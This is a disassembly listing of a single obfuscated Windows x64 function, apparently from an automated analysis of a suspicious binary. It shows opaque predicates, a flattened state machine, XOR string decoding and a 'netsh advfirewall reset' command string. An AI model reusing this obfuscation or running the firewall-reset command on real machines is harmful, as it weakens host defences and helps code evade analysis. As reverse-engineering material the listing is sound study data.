Function at 0x14002a7f0
Capabilities:
Create thread
Set console window title
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], 0xfffffffffffffffe
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
or cl, al
nop dword [rax + rax]
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov rdx, rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov rax, rsp
test cl, cl
je 0x14002a840
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov r14d, 0x32a17146
mov esi, 0xe971b5c6
mov ebx, 0xfa42bebb
mov r12d, 0xc1647419
mov r15d, 0x77df2da
mov r13d, 0xf1ce26f3
nop word cs:[rax + rax]
mov edi, 0xa979251f
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xe8], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xd8], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x40], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xd0], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x98], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x48], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xb0], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x58], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x68], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x30], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x38], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x28], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x50], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xa8], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x20], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x18], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0xa0], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x60], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x10], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140238890
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, 0x50
call fcn.140238890
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x118], rsp
mov eax, 0x40
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x110], rsp
mov eax, 0x40
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x108], rsp
mov eax, 0x40
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x88], rsp
mov eax, 0x50
call fcn.140238890
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x80], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x78], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov qword [rbp + 0x70], rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x1401f13a0]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + 0xf8], rsp
mov eax, 0x855fd505
jmp 0x14002ab10
mov eax, 0x709d70bc
nop word [rax + rax]
cmp eax, 0xcb5e87a5
jle 0x14002ce40
cmp eax, 0x24f9b0f0
jg 0x14002f190
cmp eax, 0xcb5e87a6
je 0x14002ab02
cmp eax, 0x1c6bed9b
jne 0x14002ab10
mov rdx, rsp
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0xf0]
mov eax, 0xaec169f1
jmp 0x14002abf0
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp ecx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0x2e8c7756
cmovne r9d, r15d
test eax, r8d
mov eax, r9d
cmove eax, r15d
cmp ecx, 0xa
mov rcx, qword [rbp + 0x198]
cmovge eax, r9d
nop dword [rax]
cmp eax, 0xe971b5c5
jle 0x14002acd0
cmp eax, 0x77df2d9
jle 0x14002ad20
cmp eax, 0x2e8c7756
je 0x14002bdd0
cmp eax, 0x32a17146
jne 0x14002cde6
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x140]
lea rcx, str.netsh_advfirewall_reset
mov qword [rax], rcx
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x1a0]
mov qword [rax], rcx
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp ecx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0xde83a59c
cmovne r9d, r13d
test eax, r8d
mov eax, r9d
cmove eax, r13d
cmp ecx, 0xa
cmovge eax, r9d
jmp 0x14002abf0
cmp eax, 0xc7fab4d6
jg 0x14002ad40
cmp eax, 0x842d75b8
je 0x14002bd76
cmp eax, 0xaec169f1
jne 0x14002abf0
movzx ecx, byte [rbp + 0x127]
movzx eax, byte [rbp + 0xf0]
mov r8d, ecx
xor r8b, al
mov r8d, 0xde83a59c
cmovne r8d, r14d
test al, al
mov eax, r8d
cmovne eax, r14d
test cl, cl
cmove eax, r8d
jmp 0x14002abf0
cmp eax, 0xe971b5c6
je 0x14002ad60
cmp eax, 0xf1ce26f3
jne 0x14002abf0
mov eax, 0x842d75b8
jmp 0x14002abf0
cmp eax, 0xc7fab4d7
je 0x14002bd91
cmp eax, 0xde83a59c
jne 0x14002abf0
mov eax, 0x32a17146
jmp 0x14002abf0
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov ecx, 0xe597bc97
cmovne ecx, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov r9d, 0xbbb0bd52
nop word cs:[rax + rax]
cmp r9d, 0xe597bc96
jle 0x14002ae10
cmp r9d, 0xe597bc97
je 0x14002ae2f
cmp r9d, 0xfa42bebb
je 0x14002ae3f
cmp r9d, 0x38980679
jne 0x14002ade0
jmp 0x14002ae4c
cmp r9d, 0xbbb0bd52
je 0x14002ae47
cmp r9d, 0xc1647419
jne 0x14002ade0
movsx r11, byte [rbp + 0x190]
mov r9d, ecx
jmp 0x14002ade0
movzx r9d, byte [rbp + 0x190]
mov r9d, 0xc1647419
jmp 0x14002ade0
mov r9d, 0x38980679
jmp 0x14002ade0
mov r9d, r10d
jmp 0x14002ade0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002aee0
cmp ecx, 0xe597bc97
je 0x14002aefd
cmp ecx, 0xfa42bebb
je 0x14002af0b
cmp ecx, 0x38980679
jne 0x14002aeb0
jmp 0x14002af17
cmp ecx, 0xbbb0bd52
je 0x14002af12
cmp ecx, 0xc1647419
jne 0x14002aeb0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002aeb0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002aeb0
mov ecx, 0x38980679
jmp 0x14002aeb0
mov ecx, r10d
jmp 0x14002aeb0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002afc0
cmp ecx, 0xe597bc97
je 0x14002afdd
cmp ecx, 0xfa42bebb
je 0x14002afeb
cmp ecx, 0x38980679
jne 0x14002af90
jmp 0x14002aff7
cmp ecx, 0xbbb0bd52
je 0x14002aff2
cmp ecx, 0xc1647419
jne 0x14002af90
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002af90
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002af90
mov ecx, 0x38980679
jmp 0x14002af90
mov ecx, r10d
jmp 0x14002af90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b090
cmp ecx, 0xe597bc97
je 0x14002b0ad
cmp ecx, 0xfa42bebb
je 0x14002b0bb
cmp ecx, 0x38980679
jne 0x14002b060
jmp 0x14002b0c7
cmp ecx, 0xbbb0bd52
je 0x14002b0c2
cmp ecx, 0xc1647419
jne 0x14002b060
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002b060
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002b060
mov ecx, 0x38980679
jmp 0x14002b060
mov ecx, r10d
jmp 0x14002b060
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b170
cmp ecx, 0xe597bc97
je 0x14002b18d
cmp ecx, 0xfa42bebb
je 0x14002b19b
cmp ecx, 0x38980679
jne 0x14002b140
jmp 0x14002b1a7
cmp ecx, 0xbbb0bd52
je 0x14002b1a2
cmp ecx, 0xc1647419
jne 0x14002b140
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002b140
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002b140
mov ecx, 0x38980679
jmp 0x14002b140
mov ecx, r10d
jmp 0x14002b140
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b210
cmp ecx, 0xe597bc97
je 0x14002b22d
cmp ecx, 0xfa42bebb
je 0x14002b23b
cmp ecx, 0x38980679
jne 0x14002b1e0
jmp 0x14002b247
cmp ecx, 0xbbb0bd52
je 0x14002b242
cmp ecx, 0xc1647419
jne 0x14002b1e0
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002b1e0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002b1e0
mov ecx, 0x38980679
jmp 0x14002b1e0
mov ecx, r10d
jmp 0x14002b1e0
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x14002b290
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x20
mov byte [r8 + 0x10], cl
add r8, 0x11
mov qword [rbp + 0x190], r8
mov ecx, 0x6a88e764
nop
cmp ecx, 0x6a88e764
je 0x14002bcb7
cmp ecx, 0xf1d372ca
jne 0x14002b290
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b340
cmp ecx, 0xe597bc97
je 0x14002b35d
cmp ecx, 0xfa42bebb
je 0x14002b36b
cmp ecx, 0x38980679
jne 0x14002b310
jmp 0x14002b377
cmp ecx, 0xbbb0bd52
je 0x14002b372
cmp ecx, 0xc1647419
jne 0x14002b310
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b310
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b310
mov ecx, 0x38980679
jmp 0x14002b310
mov ecx, r10d
jmp 0x14002b310
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002b410
cmp ecx, 0xe597bc97
je 0x14002b42d
cmp ecx, 0xfa42bebb
je 0x14002b43b
cmp ecx, 0x38980679
jne 0x14002b3e0
jmp 0x14002b447
cmp ecx, 0xbbb0bd52
je 0x14002b442
cmp ecx, 0xc1647419
jne 0x14002b3e0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b3e0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b3e0
mov ecx, 0x38980679
jmp 0x14002b3e0
mov ecx, r10d
jmp 0x14002b3e0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002b4e0
cmp ecx, 0xe597bc97
je 0x14002b4fd
cmp ecx, 0xfa42bebb
je 0x14002b50b
cmp ecx, 0x38980679
jne 0x14002b4b0
jmp 0x14002b517
cmp ecx, 0xbbb0bd52
je 0x14002b512
cmp ecx, 0xc1647419
jne 0x14002b4b0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b4b0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b4b0
mov ecx, 0x38980679
jmp 0x14002b4b0
mov ecx, r10d
jmp 0x14002b4b0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b5c0
cmp ecx, 0xe597bc97
je 0x14002b5dd
cmp ecx, 0xfa42bebb
je 0x14002b5eb
cmp ecx, 0x38980679
jne 0x14002b590
jmp 0x14002b5f7
cmp ecx, 0xbbb0bd52
je 0x14002b5f2
cmp ecx, 0xc1647419
jne 0x14002b590
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b590
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b590
mov ecx, 0x38980679
jmp 0x14002b590
mov ecx, r10d
jmp 0x14002b590
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b650
cmp ecx, 0xe597bc97
je 0x14002b66d
cmp ecx, 0xfa42bebb
je 0x14002b67b
cmp ecx, 0x38980679
jne 0x14002b620
jmp 0x14002b687
cmp ecx, 0xbbb0bd52
je 0x14002b682
cmp ecx, 0xc1647419
jne 0x14002b620
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b620
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b620
mov ecx, 0x38980679
jmp 0x14002b620
mov ecx, r10d
jmp 0x14002b620
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b6e0
cmp ecx, 0xe597bc97
je 0x14002b6fd
cmp ecx, 0xfa42bebb
je 0x14002b70b
cmp ecx, 0x38980679
jne 0x14002b6b0
jmp 0x14002b717
cmp ecx, 0xbbb0bd52
je 0x14002b712
cmp ecx, 0xc1647419
jne 0x14002b6b0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b6b0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b6b0
mov ecx, 0x38980679
jmp 0x14002b6b0
mov ecx, r10d
jmp 0x14002b6b0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b770
cmp ecx, 0xe597bc97
je 0x14002b78d
cmp ecx, 0xfa42bebb
je 0x14002b79b
cmp ecx, 0x38980679
jne 0x14002b740
jmp 0x14002b7a7
cmp ecx, 0xbbb0bd52
je 0x14002b7a2
cmp ecx, 0xc1647419
jne 0x14002b740
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b740
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b740
mov ecx, 0x38980679
jmp 0x14002b740
mov ecx, r10d
jmp 0x14002b740
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b800
cmp ecx, 0xe597bc97
je 0x14002b81d
cmp ecx, 0xfa42bebb
je 0x14002b82b
cmp ecx, 0x38980679
jne 0x14002b7d0
jmp 0x14002b837
cmp ecx, 0xbbb0bd52
je 0x14002b832
cmp ecx, 0xc1647419
jne 0x14002b7d0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b7d0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b7d0
mov ecx, 0x38980679
jmp 0x14002b7d0
mov ecx, r10d
jmp 0x14002b7d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b890
cmp ecx, 0xe597bc97
je 0x14002b8ad
cmp ecx, 0xfa42bebb
je 0x14002b8bb
cmp ecx, 0x38980679
jne 0x14002b860
jmp 0x14002b8c7
cmp ecx, 0xbbb0bd52
je 0x14002b8c2
cmp ecx, 0xc1647419
jne 0x14002b860
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b860
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b860
mov ecx, 0x38980679
jmp 0x14002b860
mov ecx, r10d
jmp 0x14002b860
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b920
cmp ecx, 0xe597bc97
je 0x14002b93d
cmp ecx, 0xfa42bebb
je 0x14002b94b
cmp ecx, 0x38980679
jne 0x14002b8f0
jmp 0x14002b957
cmp ecx, 0xbbb0bd52
je 0x14002b952
cmp ecx, 0xc1647419
jne 0x14002b8f0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b8f0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b8f0
mov ecx, 0x38980679
jmp 0x14002b8f0
mov ecx, r10d
jmp 0x14002b8f0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002b9b0
cmp ecx, 0xe597bc97
je 0x14002b9cd
cmp ecx, 0xfa42bebb
je 0x14002b9db
cmp ecx, 0x38980679
jne 0x14002b980
jmp 0x14002b9e7
cmp ecx, 0xbbb0bd52
je 0x14002b9e2
cmp ecx, 0xc1647419
jne 0x14002b980
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002b980
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002b980
mov ecx, 0x38980679
jmp 0x14002b980
mov ecx, r10d
jmp 0x14002b980
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002ba40
cmp ecx, 0xe597bc97
je 0x14002ba5d
cmp ecx, 0xfa42bebb
je 0x14002ba6b
cmp ecx, 0x38980679
jne 0x14002ba10
jmp 0x14002ba77
cmp ecx, 0xbbb0bd52
je 0x14002ba72
cmp ecx, 0xc1647419
jne 0x14002ba10
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ba10
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ba10
mov ecx, 0x38980679
jmp 0x14002ba10
mov ecx, r10d
jmp 0x14002ba10
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002bad0
cmp ecx, 0xe597bc97
je 0x14002baed
cmp ecx, 0xfa42bebb
je 0x14002bafb
cmp ecx, 0x38980679
jne 0x14002baa0
jmp 0x14002bb07
cmp ecx, 0xbbb0bd52
je 0x14002bb02
cmp ecx, 0xc1647419
jne 0x14002baa0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002baa0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002baa0
mov ecx, 0x38980679
jmp 0x14002baa0
mov ecx, r10d
jmp 0x14002baa0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002bb60
cmp ecx, 0xe597bc97
je 0x14002bb7d
cmp ecx, 0xfa42bebb
je 0x14002bb8b
cmp ecx, 0x38980679
jne 0x14002bb30
jmp 0x14002bb97
cmp ecx, 0xbbb0bd52
je 0x14002bb92
cmp ecx, 0xc1647419
jne 0x14002bb30
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002bb30
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002bb30
mov ecx, 0x38980679
jmp 0x14002bb30
mov ecx, r10d
jmp 0x14002bb30
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1e
mov byte [r8 + 0xe], cl
movzx ecx, byte [rax + 0x14]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
